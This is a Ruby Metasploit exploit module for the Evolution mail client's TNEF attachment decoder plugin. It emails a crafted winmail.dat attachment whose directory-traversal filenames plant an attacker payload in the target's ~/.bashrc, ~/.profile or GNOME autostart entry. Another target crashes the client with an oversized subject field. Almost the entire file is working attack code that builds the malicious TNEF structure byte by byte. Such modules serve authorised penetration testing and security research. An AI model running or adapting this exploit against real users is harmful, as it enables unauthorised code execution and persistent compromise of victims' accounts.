require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::SMTPDeliver

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'Evolution TNEF Attachment decoder plugin directory traversal and buffer overflow vulnerabilities',
			'Description'		=> %q{
				The Evolution TNEF Attachment decoder plugin is affected by several 
				directory traversal and buffer overflow vulnerabilities. The directory 
				traversal vulnerabilities allow attackers to overwrite or create local 
				files with the privileges of the target user. Exploiting the buffer
				overflow vulnerabilities allows for arbitrary code execution with the
				privileges of the target user.
			},
			'Author'		=> 'Yorick Koster <yorick@akitasecurity.nl>',
			'Version'		=> '1',
			'References'		=> 
				[
					['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20090601'],
				],
			'Platform'		=> ['unix', 'linux', 'bsd'],
			'Arch'			=> ARCH_CMD,
			'Handler'		=> Msf::Handler::None,
			'Session'		=> Msf::Sessions::CommandShell,
			'Targets'		=>
				[
					['GNOME (~/.config/autostart/sploit.desktop)', {}],
					['Bash (~/.bashrc)', {}],
					['Shell (~/.profile)', {}],
					['Crash Evolution', {}],
				],
			'DefaultTarget'		=> 0))
			
			register_options(
				[
					OptString.new('MAILSUBJECT', [false, "The subject of the sent email"])
				], self.class)	
	end

	def exploit
		msg = Rex::MIME::Message.new
		msg.mime_defaults
		msg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
		msg.to = datastore['MAILTO']
		msg.from = datastore['MAILFROM']
		body = Rex::Text.encode_base64(create_tnef_exploit(payload), "\r\n")
		content_type = "application/ms-tnef"
		content_disposition = "attachment;\r\n\tname=\"winmail.dat\""
		msg.add_part(body, content_type, "base64", content_disposition)
		send_message(msg.to_s)		
	end

	def create_tnef_exploit(payload)
		sploit = create_tnef_header

		filename = "foobar.txt"
		content  = ""

		if target.name =~ /Bash/
			filename = "/../../../../.bashrc\x00"

			content = "\# ~/.bashrc: executed by bash(1) for non-login shells.\n\n"
			content << "[ -z \"$PS1\" ] && return\n"
			content << "export HISTCONTROL=ignoredups\n"
			content << "export HISTCONTROL=ignoreboth\n"
			content << "shopt -s checkwinsize\n"
			content << "if [ -f /etc/bash_completion ]; then\n"
			content << "    . /etc/bash_completion\n"
			content << "fi\n"
			content << "\n#{payload.encoded}\n"
		end

		if target.name =~ /Shell/
			filename = "/../../../../.profile\x00"

			content = "\# ~/.profile: executed by the command interpreter for login shells.\n\n"
			content << "if [ -n \"$BASH_VERSION\" ]; then\n"
		    	content << "	if [ -f \"$HOME/.bashrc\" ]; then\n"
		    	content << "		. \"$HOME/.bashrc\"\n"
		    	content << "    fi\n"
		    	content << "fi\n\n"
		    	content << "if [ -d \"$HOME/bin\" ] ; then\n"
		    	content << "    PATH=\"$HOME/bin:$PATH\"\n"
		    	content << "fi\n"
			content << "\n#{payload.encoded}\n"
		end

		if target.name =~ /GNOME/
			filename = "/../../../../.config/autostart/sploit.desktop\x00"

			content = "[Desktop Entry]\n"
			content << "Version=1.0\n"
			content << "Type=Application\n"
			content << "Name=Sploit\n"
			content << "Comment=\n"
			content << "Exec=#{payload.encoded}\n"
			content << "StartupNotify=false\n"
			content << "Terminal=false\n"
			content << "Hidden=false\n"
		end

		if target.name =~ /Crash/
			# triggers crash through an overly long vcard file name
			sploit << "\x01"						# Level type	LVL_MESSAGE
			sploit << "\x08\x80"						# Name		attMessageClass (0x8008)
			sploit << "\x07\x00"						# Type		atpWord (0x0007)
			sploit << "\x0c\x00\x00\x00"					# Len		0x0000000c
			sploit << "\x49\x50\x4d\x2e\x43\x6f\x6e\x74\x61\x63\x74\x00"	# IPM.Contact
			sploit << "\xe0\x03"						# Checksum

			subject = Rex::Text.rand_text_alpha(1023)
			subject << "\x00"
			
			sploit << "\x01"						# Level type	LVL_MESSAGE
			sploit << "\x04\x80"						# Name		attSubject (0x8004)
			sploit << "\x01\x00"						# Type		atpString (0x0001)
			sploit << [subject.length].pack("V")				# Len
			sploit << subject
			sploit << tnef_checksum(subject)				# Checksum

			return sploit
		end

		# start of TNEF attachment
		sploit << "\x02"			# Level type	LVL_ATTACHMENT
		sploit << "\x02\x90"			# Name		attAttachRenddata (0x9002)
		sploit << "\x06\x00"			# Type		atpByte (0x0006)
		sploit << "\x0e\x00\x00\x00"		# Len		0x0000000e
		sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00"
		sploit << "\x3d\x04"			# Checksum

		sploit << "\x02"			# Level type	LVL_ATTACHMENT
		sploit << "\x10\x80"			# Name		attAttachTitle (0x8010)
		sploit << "\x01\x00"			# Type		atpString (0x0001)
		sploit << [filename.length].pack("V")	# Len
		sploit << filename
		sploit << tnef_checksum(filename)

		sploit << "\x02"			# Level type	LVL_ATTACHMENT
		sploit << "\x0f\x80"			# Name		attAttachData (0x800f)
		sploit << "\x06\x00"			# Type		atpByte (0x0006)
		sploit << [content.length].pack("V")	# Len
		sploit << content
		sploit << tnef_checksum(content)

		return sploit
	end

	def create_tnef_header
		# TNEF Header
		buf = "\x78\x9f\x3e\x22"		# Signature	0x223e9f78
		buf << "\x00\x00"			# Key
		
		# TNEF Attributes
		buf << "\x01"				# Level type	LVL_MESSAGE
		buf << "\x06\x90"			# Name		attTnefVersion (0x9006)
		buf << "\x08\x00"			# Type		atpDword (0x0008)
		buf << "\x04\x00\x00\x00"		# Len		0x00000004
		buf << "\x00\x00\x01\x00"
		buf << "\x01\x00"			# Checksum

		buf << "\x01"				# Level type	LVL_MESSAGE
		buf << "\x07\x90"			# Name		attOemCodepage (0x9007)
		buf << "\x06\x00"			# Type		atpByte (0x0006)
		buf << "\x08\x00\x00\x00"		# Len		0x00000008
		buf << "\xe4\x04\x00\x00\x00\x00\x00\x00"
		buf << "\xe8\x00"			# Checksum

		buf << "\x01"				# Level type	LVL_MESSAGE
		buf << "\x0d\x80"			# Name		attPriority (0x800d)
		buf << "\x04\x00"			# Type		atpShort (0x0004)
		buf << "\x02\x00\x00\x00"		# Len		0x00000002
		buf << "\x02\x00"
		buf << "\x02\x00"			# Checksum

		return buf
	end

	def tnef_checksum(buf = '')
		checksum = 0;

		buf.each_byte { |b|
			checksum += b
		}

		return [checksum % 65536].pack("v")
	end
end